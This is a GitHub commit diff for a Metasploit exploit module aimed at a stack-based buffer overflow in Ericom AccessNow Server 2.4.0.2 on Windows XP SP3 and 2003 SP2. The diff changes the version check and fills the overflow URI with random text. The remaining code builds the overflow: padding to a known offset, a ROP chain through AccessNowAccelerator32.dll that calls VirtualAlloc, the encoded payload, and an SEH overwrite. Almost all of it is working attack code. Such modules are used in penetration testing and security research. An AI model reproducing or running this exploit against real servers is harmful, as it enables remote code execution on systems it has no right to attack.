Skip to content

Commit 1133332

Browse files
committed
Finish module
1 parent 8f8af0e commit 1133332

File tree

1 file changed

+19
-13
lines changed

1 file changed

+19
-13
lines changed

modules/exploits/windows/http/ericom_access_now_bof.rb

Lines changed: 19 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
1818
vulnerability is due to an insecure usage of vsprintf with used controlled data,
1919
which can be triggered with a malformed HTTP request. This module has been tested
20-
successfully with Ericom AccessNow Server 2.4.0 on Windows XP SP3 and Windows 2003
20+
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
2121
Server SP2.
2222
},
2323
'Author' =>
@@ -34,6 +34,7 @@ def initialize(info = {})
3434
],
3535
'Privileged' => true,
3636
'Platform' => 'win',
37+
'Arch' => ARCH_X86,
3738
'Payload' =>
3839
{
3940
'Space' => 4096,
@@ -43,7 +44,7 @@ def initialize(info = {})
4344
},
4445
'Targets' =>
4546
[
46-
[ 'Ericom AccessNow Server 2.4.0 / Windows [XP SP3 / 2003 SP2]',
47+
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
4748
{
4849
'RopOffset' => 62,
4950
'Offset' => 30668,
@@ -63,22 +64,27 @@ def check
6364
'uri' => '/AccessNow/start.html'
6465
})
6566

66-
if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom AccessNow Server/
67-
return Exploit::CheckCode::Detected
67+
unless res && res.code == 200 && res.headers['Server']
68+
return Exploit::CheckCode::Safe
6869
end
6970

70-
return Exploit::CheckCode::Safe
71+
if res.headers['Server'] =~ /Ericom AccessNow Server/
72+
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
73+
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
74+
return Exploit::CheckCode::Detected # Ericom AccessNow 3
75+
end
76+
77+
Exploit::CheckCode::Unknown
7178
end
7279

7380
def exploit_uri
74-
uri = "A " # To ensure a "malformed request" error message
75-
uri << "C" * (62)
81+
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
82+
uri << rand_text(target['RopOffset'])
7683
uri << create_rop_chain
7784
uri << payload.encoded
78-
print_status("#{Rex::Text.to_hex_dump(payload.encoded)}")
79-
uri << "B" * (0x77cc - uri.length)
80-
uri << "CCCC" #nseh
81-
uri << [0x104da1e5].pack("V") #seh
85+
uri << rand_text(target['Offset'] - uri.length)
86+
uri << rand_text(4) # nseh
87+
uri << [target.ret].pack("V") # seh
8288

8389
uri
8490
end
@@ -96,8 +102,8 @@ def create_rop_chain
96102
# rop chain generated with mona.py - www.corelan.be
97103
rop_gadgets =
98104
[
99-
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure compatibility with all window versions
100-
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure compatibility with all window versions
105+
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
106+
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
101107
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
102108
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
103109
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]

0 commit comments

Comments
 (0)